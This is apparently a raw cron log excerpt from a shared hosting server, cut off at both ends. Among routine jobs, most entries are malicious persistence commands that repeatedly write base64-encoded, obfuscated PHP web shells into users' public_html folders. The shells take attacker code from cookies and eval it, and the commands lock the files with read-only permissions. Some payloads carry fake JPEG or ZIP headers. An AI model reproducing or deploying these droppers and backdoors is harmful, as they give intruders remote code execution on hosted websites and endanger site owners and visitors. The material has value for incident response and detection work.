LTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:47:01 medusa CROND[21659]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:47:01 medusa CROND[21660]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:47:01 medusa CROND[21661]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:47:01 medusa CROND[21662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:47:01 medusa CROND[21663]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:47:01 medusa CROND[21665]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:47:01 medusa CROND[21666]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 10:47:01 medusa CROND[21669]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:47:01 medusa CROND[21673]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 10:47:01 medusa CROND[21667]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:48:01 medusa CROND[23344]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:48:01 medusa CROND[23390]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:48:01 medusa CROND[23391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:48:01 medusa CROND[23392]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:48:01 medusa CROND[23397]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:48:01 medusa CROND[23398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:48:01 medusa CROND[23400]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:48:01 medusa CROND[23401]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:48:01 medusa CROND[23402]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:48:01 medusa CROND[23403]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:48:01 medusa CROND[23408]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:48:01 medusa CROND[23417]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:48:01 medusa CROND[23395]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 10:49:01 medusa CROND[24810]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:49:01 medusa CROND[24812]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:49:01 medusa CROND[24813]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 10:49:01 medusa CROND[24814]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:49:01 medusa CROND[24815]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:49:01 medusa CROND[24817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:49:01 medusa CROND[24818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:49:01 medusa CROND[24816]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:49:01 medusa CROND[24819]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6